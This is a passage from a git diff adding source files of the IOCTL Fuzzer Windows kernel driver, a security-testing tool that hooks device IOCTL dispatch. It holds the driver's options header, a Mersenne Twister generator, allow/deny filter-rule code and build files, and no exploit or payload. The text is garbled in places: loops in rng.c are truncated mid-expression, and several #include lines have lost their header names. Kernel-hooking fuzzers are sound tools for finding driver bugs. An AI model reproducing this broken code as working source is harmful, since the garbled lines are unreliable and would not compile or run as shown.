COMMON_LST, +*PCOMMON_LST; + +/* + Common linked lists routines +*/ + +PCOMMON_LST_ENTRY LstFindEntry( + PCOMMON_LST list, + PUNICODE_STRING ObjectName +); + +PCOMMON_LST_ENTRY LstAddEntry( + PCOMMON_LST list, + PUNICODE_STRING ObjectName, + PVOID Data, + ULONG DataSize +); + +void LstFlush(PCOMMON_LST list); +void LstDelEntry(PCOMMON_LST list, PCOMMON_LST_ENTRY e); +PCOMMON_LST LstInit(void); +void LstFree(PCOMMON_LST list); diff --git a/Win32/Proof of Concepts/HookDeviceIocontrlFile/HookDeviceIoControlFileDrv/HookDeviceIoControlFile/options.h b/Win32/Proof of Concepts/HookDeviceIocontrlFile/HookDeviceIoControlFileDrv/HookDeviceIoControlFile/options.h new file mode 100644 index 00000000..326f69a2 --- /dev/null +++ b/Win32/Proof of Concepts/HookDeviceIocontrlFile/HookDeviceIoControlFileDrv/HookDeviceIoControlFile/options.h @@ -0,0 +1,44 @@ + +/** + * Program information, copyright, etc. + */ +#define PROGRAM_NAME "IOCTL Fuzzer" +#define PROGRAM_AUTHOR "by Oleksiuk Dmytro (aka Cr4sh) :: dmitry@esagelab.com" +#define PROGRAM_COPYRIGHT "(c) 2011 Esage Lab :: http://www.esagelab.com/" + +/** + * Log file name to store all IOCTLs requests information. + */ +#define IOCTLS_LOG_NAME L"ioctls.log" + +/** + * Main application log file name. + */ +#define IOCTLFUZZER_LOG_FILE "ioctlfuzzer.log" + +/** + * File and service name for the kernel driver. + */ +#define DRIVER_SERVICE_NAME "IOCTL_fuzzer" +#define DRIVER_FILE_NAME "IOCTL_fuzzer.sys" + +/** + * Directory name to store downloaded debug symbols. + */ +#define SYMBOLS_DIR_NAME "Symbols" + +/** + * Default value for fuzzing type option. + */ +#define DEFAULT_FUZZING_TYPE FuzzingType_Random + +/** + * IOCTL buffer length limit for dumping into the + * application log or debugger output. + */ +#define MAX_IOCTL_BUFFER_LEGTH 0x1000 + +/** + * Maximum number of lines in console window. + */ +#define CONSOLE_BUFFER_HEIGHT 0x1000 diff --git a/Win32/Proof of Concepts/HookDeviceIocontrlFile/HookDeviceIoControlFileDrv/HookDeviceIoControlFile/rng.c b/Win32/Proof of Concepts/HookDeviceIocontrlFile/HookDeviceIoControlFileDrv/HookDeviceIoControlFile/rng.c new file mode 100644 index 00000000..acb6f58d --- /dev/null +++ b/Win32/Proof of Concepts/HookDeviceIocontrlFile/HookDeviceIoControlFileDrv/HookDeviceIoControlFile/rng.c @@ -0,0 +1,142 @@ +/* + A C-program for MT19937, with initialization improved 2002/1/26. + Coded by Takuji Nishimura and Makoto Matsumoto. + + Before using, initialize the state by using init_genrand(seed) + or init_by_array(init_key, key_length). + + Copyright (C) 1997 - 2002, Makoto Matsumoto and Takuji Nishimura, + All rights reserved. + + Redistribution and use in source and binary forms, with or without + modification, are permitted provided that the following conditions + are met: + + 1. Redistributions of source code must retain the above copyright + notice, this list of conditions and the following disclaimer. + + 2. Redistributions in binary form must reproduce the above copyright + notice, this list of conditions and the following disclaimer in the + documentation and/or other materials provided with the distribution. + + 3. The names of its contributors may not be used to endorse or promote + products derived from this software without specific prior written + permission. + + THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS + "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT + LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR + A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR + CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, + EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, + PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR + PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF + LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING + NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS + SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. + + + Any feedback is very welcome. + http://www.math.sci.hiroshima-u.ac.jp/~m-mat/MT/emt.html + email: m-mat @ math.sci.hiroshima-u.ac.jp (remove space) +*/ + +#include + +/* Period parameters */ +#define N 624 +#define M 397 +#define MATRIX_A 0x9908b0dfUL /* constant vector a */ +#define UPPER_MASK 0x80000000UL /* most significant w-r bits */ +#define LOWER_MASK 0x7fffffffUL /* least significant r bits */ + +static unsigned long mt[N]; /* the array for the state vector */ +static int mti=N+1; /* mti==N+1 means mt[N] is not initialized */ + +/* initializes mt[N] with a seed */ +void init_genrand(unsigned long s) +{ + mt[0]= s & 0xffffffffUL; + for (mti=1; mti> 30)) + mti); + /* See Knuth TAOCP Vol2. 3rd Ed. P.106 for multiplier. */ + /* In the previous versions, MSBs of the seed affect */ + /* only MSBs of the array mt[]. */ + /* 2002/01/09 modified by Makoto Matsumoto */ + mt[mti] &= 0xffffffffUL; + /* for >32 bit machines */ + } +} + +/* initialize by an array with array-length */ +/* init_key is the array for initializing keys */ +/* key_length is its length */ +/* slight change for C++, 2004/2/26 */ +void init_by_array(unsigned long init_key[], int key_length) +{ + int i, j, k; + init_genrand(19650218UL); + i=1; j=0; + k = (N>key_length ? N : key_length); + for (; k; k--) { + mt[i] = (mt[i] ^ ((mt[i-1] ^ (mt[i-1] >> 30)) * 1664525UL)) + + init_key[j] + j; /* non linear */ + mt[i] &= 0xffffffffUL; /* for WORDSIZE > 32 machines */ + i++; j++; + if (i>=N) { mt[0] = mt[N-1]; i=1; } + if (j>=key_length) j=0; + } + for (k=N-1; k; k--) { + mt[i] = (mt[i] ^ ((mt[i-1] ^ (mt[i-1] >> 30)) * 1566083941UL)) + - i; /* non linear */ + mt[i] &= 0xffffffffUL; /* for WORDSIZE > 32 machines */ + i++; + if (i>=N) { mt[0] = mt[N-1]; i=1; } + } + + mt[0] = 0x80000000UL; /* MSB is 1; assuring non-zero initial array */ +} + +/* generates a random number on [0,0xffffffff]-interval */ +unsigned long genrand_int32(void) +{ + unsigned long y; + static unsigned long mag01[2]={0x0UL, MATRIX_A}; + /* mag01[x] = x * MATRIX_A for x=0,1 */ + + if (mti >= N) { /* generate N words at one time */ + int kk; + + if (mti == N+1) /* if init_genrand() has not been called, */ + init_genrand(5489UL); /* a default initial seed is used */ + + for (kk=0;kk> 1) ^ mag01[y & 0x1UL]; + } + for (;kk> 1) ^ mag01[y & 0x1UL]; + } + y = (mt[N-1]&UPPER_MASK)|(mt[0]&LOWER_MASK); + mt[N-1] = mt[M-1] ^ (y >> 1) ^ mag01[y & 0x1UL]; + + mti = 0; + } + + y = mt[mti++]; + + /* Tempering */ + y ^= (y >> 11); + y ^= (y << 7) & 0x9d2c5680UL; + y ^= (y << 15) & 0xefc60000UL; + y ^= (y >> 18); + + return y; +} + +unsigned long getrand(unsigned long min, unsigned long max) +{ + return (genrand_int32() % (max - min + 1)) + min; +} diff --git a/Win32/Proof of Concepts/HookDeviceIocontrlFile/HookDeviceIoControlFileDrv/HookDeviceIoControlFile/rng.h b/Win32/Proof of Concepts/HookDeviceIocontrlFile/HookDeviceIoControlFileDrv/HookDeviceIoControlFile/rng.h new file mode 100644 index 00000000..1aed8263 --- /dev/null +++ b/Win32/Proof of Concepts/HookDeviceIocontrlFile/HookDeviceIoControlFileDrv/HookDeviceIoControlFile/rng.h @@ -0,0 +1,4 @@ +void init_genrand(unsigned long s); +void init_by_array(unsigned long init_key[], int key_length); +unsigned long genrand_int32(void); +unsigned long getrand(unsigned long min, unsigned long max); diff --git a/Win32/Proof of Concepts/HookDeviceIocontrlFile/HookDeviceIoControlFileDrv/HookDeviceIoControlFile/rules.c b/Win32/Proof of Concepts/HookDeviceIocontrlFile/HookDeviceIoControlFileDrv/HookDeviceIoControlFile/rules.c new file mode 100644 index 00000000..3cd880cc --- /dev/null +++ b/Win32/Proof of Concepts/HookDeviceIocontrlFile/HookDeviceIoControlFileDrv/HookDeviceIoControlFile/rules.c @@ -0,0 +1,695 @@ +#include "stdafx.h" + +// defined in driver.cpp +extern UNICODE_STRING m_RegistryPath; +extern KMUTEX m_CommonMutex; + +BOOLEAN g_RuleInited = FALSE; +ERESOURCE g_RuleResource; +LIST_ENTRY g_DenyRuleList; +LIST_ENTRY g_AllowRuleList; +LIST_ENTRY g_DbgcbRuleList; + +FORCEINLINE +VOID +RuleLock( + __in BOOLEAN Exclusive + ) +{ + KeEnterCriticalRegion(); + if (Exclusive) + ExAcquireResourceExclusiveLite(&g_RuleResource, TRUE); + else + ExAcquireResourceSharedLite(&g_RuleResource, TRUE); +} + +FORCEINLINE +VOID +RuleUnlock() +{ + ExReleaseResourceLite(&g_RuleResource); + KeLeaveCriticalRegion(); +} + +NTSTATUS FltInitRuleList() +{ + NTSTATUS Status = 0; + + InitializeListHead( &g_DenyRuleList ); + InitializeListHead( &g_AllowRuleList ); + InitializeListHead( &g_DbgcbRuleList ); + + Status = ExInitializeResourceLite( &g_RuleResource ); + if(!NT_SUCCESS(Status)) + return Status; + + g_RuleInited = TRUE; + + return STATUS_SUCCESS; +} + +VOID FltUnInitRuleList() +{ + if(!g_RuleInited) + return; + + FltFlushAllList(); + + g_RuleInited = FALSE; + + ExDeleteResourceLite(&g_RuleResource); +} +//-------------------------------------------------------------------------------------- +wchar_t xchrlower_w(wchar_t chr) +{ + if ((chr >= 'A') && (chr <= 'Z')) + { + return chr + ('a'-'A'); + } + + return chr; +} +//-------------------------------------------------------------------------------------- +BOOLEAN EqualUnicodeString_r(PUNICODE_STRING Str1, PUNICODE_STRING Str2, BOOLEAN CaseInSensitive) +{ + USHORT CmpLen = min(Str1->Length, Str2->Length) / sizeof(WCHAR); + USHORT i = 0; + for ( i = 1; i < CmpLen; i++) + { + WCHAR Chr1 = Str1->Buffer[Str1->Length / sizeof(WCHAR) - i], + Chr2 = Str2->Buffer[Str2->Length / sizeof(WCHAR) - i]; + + if (CaseInSensitive) + { + Chr1 = xchrlower_w(Chr1); + Chr2 = xchrlower_w(Chr2); + } + + if (Chr1 != Chr2) + { + return FALSE; + } + } + + return TRUE; +} + +PIOCTL_FILTER FltAdd(PIOCTL_FILTER f, PLIST_ENTRY ListEntry, ULONG KdCommandLength) +{ + ULONG Length = 0; + PIOCTL_FILTER f_entry = NULL; + + if(!g_RuleInited || !ListEntry || !f) + return NULL; + + Length = KdCommandLength + sizeof(IOCTL_FILTER); + f_entry = (PIOCTL_FILTER)ExAllocatePool(NonPagedPool, Length); + if (f_entry) + { + RtlZeroMemory(f_entry, Length); + RtlCopyMemory(f_entry, f, sizeof(IOCTL_FILTER)); + + InsertHeadList(ListEntry, &f_entry->List); + + return f_entry; + } + else + { + DbgMsg(__FILE__, __LINE__, "ExAllocatePool() fails\n"); + } + + return NULL; +} + +VOID DeferenceRuleCount(PIOCTL_FILTER Item) +{ + if(!g_RuleInited) + return; + + RuleLock(TRUE); + Item->ReferenceCount--; + RuleUnlock(); +} + +PIOCTL_FILTER FltAddDenyRule(PIOCTL_FILTER f, ULONG KdCommandLength) +{ + PIOCTL_FILTER Item = NULL; + + if(!g_RuleInited) + return NULL; + + RuleLock(TRUE); + Item = FltAdd(f, &g_DenyRuleList, KdCommandLength); + Item->ReferenceCount +=1 ; + RuleUnlock(); + + return Item; +} + +PIOCTL_FILTER FltAddAllowRule(PIOCTL_FILTER f, ULONG KdCommandLength) +{ + PIOCTL_FILTER Item = NULL; + + if(!g_RuleInited) + return NULL; + + RuleLock(TRUE); + Item = FltAdd(f, &g_AllowRuleList, KdCommandLength); + Item->ReferenceCount +=1 ; + RuleUnlock(); + + return Item; +} + +PIOCTL_FILTER FltAddDbgcbRule(PIOCTL_FILTER f, ULONG KdCommandLength) +{ + PIOCTL_FILTER Item = NULL; + + if(!g_RuleInited) + return NULL; + + RuleLock(TRUE); + Item = FltAdd(f, &g_DbgcbRuleList, KdCommandLength); + Item->ReferenceCount +=1 ; + RuleUnlock(); + + return Item; +} + +//-------------------------------------------------------------------------------------- +void FltFlushList(PLIST_ENTRY ListEntryHead) +{ + PLIST_ENTRY ListEntry = NULL; + PLIST_ENTRY ListRemove = NULL; + PIOCTL_FILTER RuleItem = NULL; + + if(!g_RuleInited || !ListEntryHead) + return; + + ListEntry = ListEntryHead->Flink; + while(ListEntry != ListEntryHead) + { + RuleItem = CONTAINING_RECORD(ListEntry, IOCTL_FILTER, List); + + if(RuleItem->ReferenceCount != 0) + { + ListEntry = ListEntry->Flink; + continue; + } + + if (RuleItem->Type == FLT_DEVICE_NAME || + RuleItem->Type == FLT_DRIVER_NAME || + RuleItem->Type == FLT_PROCESS_PATH) + { + RtlFreeUnicodeString(&RuleItem->usName); + } + + ListRemove = ListEntry; + ListEntry = ListEntry->Flink; + RemoveEntryList(ListRemove); + + ExFreePool(RuleItem); + } +} + +void FltFlushAllList() +{ + if(!g_RuleInited) + return ; + + RuleLock(TRUE); + FltFlushList(&g_DenyRuleList); + FltFlushList(&g_AllowRuleList); + FltFlushList(&g_DbgcbRuleList); + RuleUnlock(); +} +//-------------------------------------------------------------------------------------- +PIOCTL_FILTER FltMatch( + PLIST_ENTRY ListEntryHead, + PUNICODE_STRING fDeviceName, + PUNICODE_STRING fDriverName, + ULONG IoControlCode, + PUNICODE_STRING fProcessName) +{ + PIOCTL_FILTER ret = NULL; + PIOCTL_FILTER RuleItem = NULL; + PLIST_ENTRY ListEntry = NULL; + + if(!ListEntryHead) + return NULL; + + // match parameters by filter list + ListEntry = ListEntryHead->Flink; + while (ListEntry != ListEntryHead) + { + RuleItem = CONTAINING_RECORD(ListEntry, IOCTL_FILTER, List); + + if (RuleItem->bDbgcbAction) + { + // skip entries with debugger commands + goto next; + } + + if (RuleItem->Type == FLT_DEVICE_NAME) + { + if (EqualUnicodeString_r(&RuleItem->usName, fDeviceName, TRUE)) + { + ret = RuleItem; + break; + } + } + else if (RuleItem->Type == FLT_DRIVER_NAME) + { + if (EqualUnicodeString_r(&RuleItem->usName, fDriverName, TRUE)) + { + ret = RuleItem; + break; + } + } + else if (RuleItem->Type == FLT_IOCTL_CODE) + { + if (RuleItem->IoctlCode == IoControlCode) + { + ret = RuleItem; + break; + } + } + else if (RuleItem->Type == FLT_PROCESS_PATH) + { + if (EqualUnicodeString_r(&RuleItem->usName, fProcessName, TRUE)) + { + ret = RuleItem; + break; + } + } + +next: + ListEntry = ListEntry->Flink; + } + + return ret; +} + +BOOLEAN FltMatchDeny( + PUNICODE_STRING fDeviceName, + PUNICODE_STRING fDriverName, + ULONG IoControlCode, + PUNICODE_STRING fProcessName) +{ + PIOCTL_FILTER Rule = NULL; + + if(!g_RuleInited) + return FALSE; + + RuleLock(FALSE); + Rule = FltMatch(&g_DenyRuleList, fDeviceName, fDriverName, IoControlCode, fProcessName); + RuleUnlock(); + + if(Rule) + return TRUE; + else + return FALSE; +} + +BOOLEAN FltMatchAllow( + PUNICODE_STRING fDeviceName, + PUNICODE_STRING fDriverName, + ULONG IoControlCode, + PUNICODE_STRING fProcessName) +{ + PIOCTL_FILTER Rule = NULL; + + if(!g_RuleInited) + return FALSE; + + RuleLock(FALSE); + + if(IsListEmpty(&g_AllowRuleList)) + return TRUE; + + Rule = FltMatch(&g_AllowRuleList, fDeviceName, fDriverName, IoControlCode, fProcessName); + RuleUnlock(); + + if(Rule) + return TRUE; + else + return FALSE; +} +//-------------------------------------------------------------------------------------- +char *FltGetKdCommand( + PUNICODE_STRING fDeviceName, + PUNICODE_STRING fDriverName, + ULONG IoControlCode, + PUNICODE_STRING fProcessName) +{ + char *lpszCmd = NULL; + PLIST_ENTRY ListEntry = NULL; + PIOCTL_FILTER RuleItem = NULL; + + if(!g_RuleInited) + return NULL; + + RuleLock(FALSE); + // match parameters by filter list + ListEntry = g_DbgcbRuleList.Flink; + while (ListEntry != &g_DbgcbRuleList) + { + RuleItem = CONTAINING_RECORD(ListEntry, IOCTL_FILTER, List); + if (!RuleItem->bDbgcbAction) + { + // skip entries with debugger commands + goto next; + } + + if (RuleItem->Type == FLT_DEVICE_NAME) + { + if (EqualUnicodeString_r(&RuleItem->usName, fDeviceName, TRUE)) + { + lpszCmd = RuleItem->szKdCommand; + break; + } + } + else if (RuleItem->Type == FLT_DRIVER_NAME) + { + if (EqualUnicodeString_r(&RuleItem->usName, fDriverName, TRUE)) + { + lpszCmd = RuleItem->szKdCommand; + break; + } + } + else if (RuleItem->Type == FLT_IOCTL_CODE) + { + if (RuleItem->IoctlCode == IoControlCode) + { + lpszCmd = RuleItem->szKdCommand; + break; + } + } + else if (RuleItem->Type == FLT_PROCESS_PATH) + { + if (EqualUnicodeString_r(&RuleItem->usName, fProcessName, TRUE)) + { + lpszCmd = RuleItem->szKdCommand; + break; + } + } + +next: + ListEntry = ListEntry->Flink; + } + RuleUnlock(); + + return lpszCmd; +} +//-------------------------------------------------------------------------------------- +BOOLEAN FltIsMatchedRequest( + PUNICODE_STRING fDeviceName, + PUNICODE_STRING fDriverName, + ULONG IoControlCode, + PUNICODE_STRING fProcessName) +{ + if(!g_RuleInited) + return FALSE; + + // match process by allow/deny list + if (FltMatchAllow(fDeviceName, fDriverName, IoControlCode, fProcessName) && + FltMatchDeny(fDeviceName, fDriverName, IoControlCode, fProcessName) == FALSE) + { + return TRUE; + } + + return FALSE; +} +//-------------------------------------------------------------------------------------- +BOOLEAN SaveRules(PLIST_ENTRY ListEntryHead, HANDLE hKey, PUNICODE_STRING usValueName) +{ + BOOLEAN bRet = FALSE; + ULONG BuffSize = 0, RulesToSerialize = 0; + PLIST_ENTRY ListEntry = NULL; + PIOCTL_FILTER RuleItem = NULL; + + if(!ListEntryHead) + return FALSE; + + // calculate reqired buffer size + ListEntry = ListEntryHead->Flink; + while (ListEntry != ListEntryHead) + { + RuleItem = CONTAINING_RECORD(ListEntry, IOCTL_FILTER, List); + if (!RuleItem->bDbgcbAction) + { + BuffSize += sizeof(IOCTL_FILTER_SERIALIZED); + + if (RuleItem->Type == FLT_DEVICE_NAME || + RuleItem->Type == FLT_DRIVER_NAME || + RuleItem->Type == FLT_PROCESS_PATH) + { + // we an have object name + BuffSize += RuleItem->usName.Length; + } + + RulesToSerialize++; + } + + ListEntry = ListEntry->Flink; + } + + if (BuffSize > 0) + { + // allocate memory for serialized rules + PUCHAR Buff = (PUCHAR)M_ALLOC(BuffSize); + if (Buff) + { + NTSTATUS ns = STATUS_UNSUCCESSFUL; + PIOCTL_FILTER_SERIALIZED f_s = NULL; + RtlZeroMemory(Buff, BuffSize); + f_s = (PIOCTL_FILTER_SERIALIZED)Buff; + + // serialize available entries + ListEntry = ListEntryHead->Flink; + while (ListEntry != ListEntryHead) + { + RuleItem = CONTAINING_RECORD(ListEntry, IOCTL_FILTER, List); + if (!RuleItem->bDbgcbAction) + { + ULONG NextEntryOffset = sizeof(IOCTL_FILTER_SERIALIZED); + + f_s->Type = RuleItem->Type; + f_s->IoctlCode = RuleItem->IoctlCode; + + if (RuleItem->Type == FLT_DEVICE_NAME || + RuleItem->Type == FLT_DRIVER_NAME || + RuleItem->Type == FLT_PROCESS_PATH) + { + // we have an object name + f_s->NameLen = RuleItem->usName.Length; + NextEntryOffset += f_s->NameLen; + memcpy(&f_s->Name, RuleItem->usName.Buffer, f_s->NameLen); + } + + // go to the next serialized entry + f_s = (PIOCTL_FILTER_SERIALIZED)((PUCHAR)f_s + NextEntryOffset); + } + + ListEntry = ListEntry->Flink; + } + + ns = ZwSetValueKey(hKey, usValueName, 0, REG_BINARY, Buff, BuffSize); + if (NT_SUCCESS(ns)) + { + bRet = TRUE; + + DbgMsg( + __FILE__, __LINE__, + __FUNCTION__"(): %d rules (%d bytes) saved in '%wZ'\n", + RulesToSerialize, BuffSize, usValueName + ); + } + else + { + DbgMsg(__FILE__, __LINE__, "ZwSetValueKey() fails; status: 0x%.8x\n", ns); + } + + M_FREE(Buff); + } + else + { + DbgMsg(__FILE__, __LINE__, "M_ALLOC() fails\n"); + } + } + + return bRet; +} + +BOOLEAN SaveDenyRules(HANDLE hKey, PUNICODE_STRING usValueName) +{ + BOOLEAN bRet = FALSE; + + if(!g_RuleInited) + return FALSE; + + RuleLock(FALSE); + bRet = SaveRules(&g_DenyRuleList, hKey, usValueName); + RuleUnlock(); + + return bRet; +} + +BOOLEAN SaveAllowRules(HANDLE hKey, PUNICODE_STRING usValueName) +{ + BOOLEAN bRet = FALSE; + + if(!g_RuleInited) + return FALSE; + + RuleLock(FALSE); + bRet = SaveRules(&g_AllowRuleList, hKey, usValueName); + RuleUnlock(); + + return bRet; +} +//-------------------------------------------------------------------------------------- +BOOLEAN LoadRules(PLIST_ENTRY ListEntryHead, HANDLE hKey, PUNICODE_STRING usValueName) +{ + BOOLEAN bRet = FALSE; + PKEY_VALUE_FULL_INFORMATION KeyInfo = NULL; + ULONG Length = 0, RulesLoaded = 0; + NTSTATUS ns = 0; + + if(!ListEntryHead) + return FALSE; + + // query buffer size + ns = ZwQueryValueKey( + hKey, + usValueName, + KeyValueFullInformation, + KeyInfo, + 0, + &Length + ); + if (ns == STATUS_BUFFER_OVERFLOW || + ns == STATUS_BUFFER_TOO_SMALL) + { + // allocate buffer + PKEY_VALUE_FULL_INFORMATION KeyInfo = (PKEY_VALUE_FULL_INFORMATION)M_ALLOC(Length); + if (KeyInfo) + { + // query value + ns = ZwQueryValueKey( + hKey, + usValueName, + KeyValueFullInformation, + KeyInfo, + Length, + &Length + ); + if (NT_SUCCESS(ns)) + { + if (KeyInfo->DataLength > 0) + { + // deserialize rules + PUCHAR Buff = (PUCHAR)KeyInfo + KeyInfo->DataOffset; + PIOCTL_FILTER_SERIALIZED f_s = (PIOCTL_FILTER_SERIALIZED)Buff; + + while ((ULONG)((PUCHAR)f_s - Buff) < KeyInfo->DataLength) + { + // add rule into list + IOCTL_FILTER Flt; + RtlZeroMemory(&Flt, sizeof(Flt)); + + Flt.Type = f_s->Type; + Flt.IoctlCode = f_s->IoctlCode; + + if ((f_s->Type == FLT_DEVICE_NAME || + f_s->Type == FLT_DRIVER_NAME || + f_s->Type == FLT_PROCESS_PATH) && + f_s->NameLen > 0) + { + // we have an object name + if (AllocUnicodeString(&Flt.usName, (USHORT)f_s->NameLen)) + { + Flt.usName.Length = (USHORT)f_s->NameLen; + memcpy(Flt.usName.Buffer, &f_s->Name, f_s->NameLen); + DbgMsg(__FILE__, __LINE__, __FUNCTION__"(): '%wZ'\n", &Flt.usName); + } + else + { + goto err; + } + } + + if (!FltAdd(&Flt, ListEntryHead, 0)) + { + if (Flt.usName.Buffer) + { + RtlFreeUnicodeString(&Flt.usName); + } + } + else + { + RulesLoaded++; + } +err: + // go to the next serialized entry + f_s = (PIOCTL_FILTER_SERIALIZED)((PUCHAR)f_s + + sizeof(IOCTL_FILTER_SERIALIZED) + f_s->NameLen); + } + } + + DbgMsg( + __FILE__, __LINE__, + __FUNCTION__"(): %d rules loaded from '%wZ'\n", + RulesLoaded, usValueName + ); + + bRet = TRUE; + } + else + { + DbgMsg(__FILE__, __LINE__, "ZwQueryValueKey() fails; status: 0x%.8x\n", ns); + } + + M_FREE(KeyInfo); + } + else + { + DbgMsg(__FILE__, __LINE__, "M_ALLOC() fails\n"); + } + } + else + { + DbgMsg(__FILE__, __LINE__, __FUNCTION__"() WARNING: '%wZ' value is not set\n", usValueName); + } + + return bRet; +} + +BOOLEAN LoadDenyRules(HANDLE hKey, PUNICODE_STRING usValueName) +{ + BOOLEAN bRet = FALSE; + + if(!g_RuleInited) + return FALSE; + + RuleLock(TRUE); + bRet = LoadRules(&g_DenyRuleList, hKey, usValueName); + RuleUnlock(); + + return bRet; +} + +BOOLEAN LoadAllowRules(HANDLE hKey, PUNICODE_STRING usValueName) +{ + BOOLEAN bRet = FALSE; + + if(!g_RuleInited) + return FALSE; + + RuleLock(TRUE); + bRet = LoadRules(&g_AllowRuleList, hKey, usValueName); + RuleUnlock(); + + return bRet; +} +//-------------------------------------------------------------------------------------- diff --git a/Win32/Proof of Concepts/HookDeviceIocontrlFile/HookDeviceIoControlFileDrv/HookDeviceIoControlFile/rules.h b/Win32/Proof of Concepts/HookDeviceIocontrlFile/HookDeviceIoControlFileDrv/HookDeviceIoControlFile/rules.h new file mode 100644 index 00000000..51f5aa56 --- /dev/null +++ b/Win32/Proof of Concepts/HookDeviceIocontrlFile/HookDeviceIoControlFileDrv/HookDeviceIoControlFile/rules.h @@ -0,0 +1,88 @@ + +/** +* Structures and defines for IOCTL filtering +*/ +#define FLT_DEVICE_NAME 1 +#define FLT_DRIVER_NAME 2 +#define FLT_IOCTL_CODE 3 +#define FLT_PROCESS_PATH 4 + +typedef struct _IOCTL_FILTER +{ + LIST_ENTRY List; + ULONG ReferenceCount; + ULONG Type; + + UNICODE_STRING usName; + ULONG IoctlCode; + + BOOLEAN bDbgcbAction; + char szKdCommand[1]; + +} IOCTL_FILTER, *PIOCTL_FILTER; + +typedef struct _IOCTL_FILTER_SERIALIZED +{ + ULONG Type; + ULONG IoctlCode; + ULONG NameLen; + WCHAR Name[]; + +} IOCTL_FILTER_SERIALIZED, +*PIOCTL_FILTER_SERIALIZED; + +PIOCTL_FILTER FltAdd(PIOCTL_FILTER f, PLIST_ENTRY ListEntry, ULONG KdCommandLength); + +BOOLEAN FltIsMatchedRequest( + PUNICODE_STRING fDeviceName, + PUNICODE_STRING fDriverName, + ULONG IoControlCode, + PUNICODE_STRING fProcessName +); + +char *FltGetKdCommand( + PUNICODE_STRING fDeviceName, + PUNICODE_STRING fDriverName, + ULONG IoControlCode, + PUNICODE_STRING fProcessName +); + +BOOLEAN SaveRules(PLIST_ENTRY ListEntryHead, HANDLE hKey, PUNICODE_STRING usValueName); +BOOLEAN LoadRules(PLIST_ENTRY ListEntryHead, HANDLE hKey, PUNICODE_STRING usValueName); + +/** +* Macro defines for allow/deny lists of IOCTL filtering +*/ + +// #define FltAllowMatch(_drv_, _dev_, _c_, _p_) FltMatch(&f_allow_head, (_drv_), (_dev_), (_c_), (_p_)) +// + +// #define FltDenyMatch(_drv_, _dev_, _c_, _p_) FltMatch(&f_deny_head, (_drv_), (_dev_), (_c_), (_p_)) +// + + +NTSTATUS FltInitRuleList(); +VOID FltUnInitRuleList(); +PIOCTL_FILTER FltAddDbgcbRule(PIOCTL_FILTER f, ULONG KdCommandLength); +PIOCTL_FILTER FltAddDenyRule(PIOCTL_FILTER f, ULONG KdCommandLength); +PIOCTL_FILTER FltAddAllowRule(PIOCTL_FILTER f, ULONG KdCommandLength); + +void FltFlushAllList(); + +BOOLEAN FltMatchAllow( + PUNICODE_STRING fDeviceName, + PUNICODE_STRING fDriverName, + ULONG IoControlCode, + PUNICODE_STRING fProcessName); +BOOLEAN FltMatchDeny( + PUNICODE_STRING fDeviceName, + PUNICODE_STRING fDriverName, + ULONG IoControlCode, + PUNICODE_STRING fProcessName); + +BOOLEAN SaveDenyRules(HANDLE hKey, PUNICODE_STRING usValueName); +BOOLEAN SaveAllowRules(HANDLE hKey, PUNICODE_STRING usValueName); +BOOLEAN LoadDenyRules(HANDLE hKey, PUNICODE_STRING usValueName); +BOOLEAN LoadAllowRules(HANDLE hKey, PUNICODE_STRING usValueName); + +VOID DeferenceRuleCount(PIOCTL_FILTER Item); \ No newline at end of file diff --git a/Win32/Proof of Concepts/HookDeviceIocontrlFile/HookDeviceIoControlFileDrv/HookDeviceIoControlFile/sources b/Win32/Proof of Concepts/HookDeviceIocontrlFile/HookDeviceIoControlFileDrv/HookDeviceIoControlFile/sources new file mode 100644 index 00000000..02d02b49 --- /dev/null +++ b/Win32/Proof of Concepts/HookDeviceIocontrlFile/HookDeviceIoControlFileDrv/HookDeviceIoControlFile/sources @@ -0,0 +1,22 @@ +TARGETNAME=IOCTL_fuzzer +TARGETTYPE=DRIVER +DRIVERTYPE=FS + + +TARGETLIBS=$(TARGETLIBS) \ + .\udis86\udis86_i386.lib \ + .\udis86\udis86_amd64.lib + + + +SOURCES=driver.c \ + common.c \ + debug.c \ + handlers.c \ + hook.c \ + log.c \ + lst.c \ + rng.c \ + rules.c \ + version.rc + diff --git a/Win32/Proof of Concepts/HookDeviceIocontrlFile/HookDeviceIoControlFileDrv/HookDeviceIoControlFile/stdafx.h b/Win32/Proof of Concepts/HookDeviceIocontrlFile/HookDeviceIoControlFileDrv/HookDeviceIoControlFile/stdafx.h new file mode 100644 index 00000000..a4a5b374 --- /dev/null +++ b/Win32/Proof of Concepts/HookDeviceIocontrlFile/HookDeviceIoControlFileDrv/HookDeviceIoControlFile/stdafx.h @@ -0,0 +1,39 @@ + + +//extern "C" +//{ +#include +#include +#include +#include +#include "undocnt.h" +//} + +#define WP_STUFF + +#include "debug.h" +#include "common.h" +#include "lst.h" + +#include "options.h" + +#include "common_asm.h" +#include "drvcomm.h" +#include "rng.h" +#include "driver.h" +#include "handlers.h" +#include "hook.h" +#include "log.h" +#include "rules.h" + +// udis86 disasm engine +#include "udis86/extern.h" + +// kernel debugger communication engine (dbgcb) client +//#include "../../dbgcb/common/dbgcb_api.h" + +#ifdef _X86_ +#pragma comment(lib,"../udis86/udis86_i386.lib") +#elif _AMD64_ +#pragma comment(lib,"../udis86/udis86_amd64.lib") +#endif diff --git a/Win32/Proof of Concepts/HookDeviceIocontrlFile/HookDeviceIoControlFileDrv/HookDeviceIoControlFile/udis86/build.bat b/Win32/Proof of Concepts/HookDeviceIocontrlFile/HookDeviceIoControlFileDrv/HookDeviceIoControlFile/udis86/build.bat new file mode 100644 index 00000000..3429eed6 --- /dev/null +++ b/Win32/Proof of 